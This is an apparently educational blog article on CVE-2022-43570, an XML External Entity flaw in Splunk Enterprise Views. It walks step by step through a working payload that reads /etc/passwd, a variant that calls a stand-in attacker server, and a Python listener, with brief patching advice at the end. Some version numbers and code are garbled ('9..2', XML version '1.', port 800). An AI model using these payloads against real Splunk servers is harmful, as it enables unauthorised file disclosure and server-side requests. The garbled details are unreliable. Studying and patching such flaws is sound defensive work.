Splunk Enterprise is one of the most popular platforms for searching, monitoring, and analyzing machine-generated big data. But sometimes, security vulnerabilities pop up even in big, trustworthy platforms. CVE-2022-43570 is one such flaw. In this article, we’ll break down what it is, how it works, and show you step-by-step how an attacker can use a seemingly harmless XML feature to expose sensitive information in Splunk.
What is CVE-2022-43570?
CVE-2022-43570 is an XML External Entity (XXE) Injection bug_Processing) discovered in Splunk Enterprise versions below 8.1.12, 8.2.9, and 9..2. If a logged-in user can upload or create custom “Views” (a Splunk feature for making dashboards), they can trick Splunk Web into parsing XML with dangerous external entities.
In plain English: an attacker makes Splunk’s View system read files on the server or send secret data to an outside server just by uploading some crafty XML code.
Official References
- Splunk Security Advisory: SVD-2022-1107 - Splunk Enterprise XML External Entity Injection
- CVE Database Entry: NIST NVD - CVE-2022-43570
- XXE explained: OWASP XXE Cheat Sheet
Entities in XML look like this
<!ENTITY secret SYSTEM "file:///etc/passwd">
That line says, “wherever you see &secret;, replace it with the contents of /etc/passwd.” If the parser processes it, it might leak files from the server.
Write a view XML that loads an external file
<?xml version="1." encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<view>
<label>Malicious XXE View</label>
<description>&xxe;</description>
<row>
<panel>
<html>
<![CDATA[
<div>Splunk is leaking: &xxe;</div>
]]>
</html>
</panel>
</row>
</view>
*What does this do?*
When Splunk parses this view, it will try to replace &xxe; with the contents of /etc/passwd. On error, Splunk Web might show this data in error messages.
Get the Data
If successful, Splunk’s web UI will crash or error, showing the file you targeted, like parts of /etc/passwd, in the error detail.
You can also force Splunk to fetch files _from_ your server using a URL. Example
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://your-attacker-server.com/data">;
]>
<view>
...
<description>&xxe;</description>
...
</view>
Set up a simple web server (Python)
python3 -m http.server 800
When the Splunk server tries to load the View, it will make a request to you. Now you know at least the server made the request—and sometimes you grab more info from request headers.
Reading server files (like passwords, configs)
- Port scanning (using file:// or http:// to knock on server addresses)
- Sending data to attackers (even if Splunk can't resolve the reference, error messages could leak data into error logs or the UI)
Upgrade! Splunk patched XXE in 8.1.12, 8.2.9, 9..2.
- Limit who can edit/upload views.
Summary
CVE-2022-43570 is a real-world example of how “just XML” can turn lethal in the wrong hands. All the attacker needs is a Splunk login and “View” permissions. And while later versions are safe, millions still run outdated Splunk.
If you have Splunk, please patch ASAP.
If you’re a pentester, try this on test labs (never on live systems you don’t own) and report responsibly.
Further Reading
- Splunk Blog: Security Advisories
- OWASP: XXE Basics_Processing)
- Mitre CVE Entry
Stay safe! If you found this helpful, don’t forget to test your Splunk—and all your XML endpoints—for XXE. Let’s keep our logs secure.
Timeline
Published on: 11/04/2022 23:15:00 UTC
Last modified on: 11/08/2022 19:43:00 UTC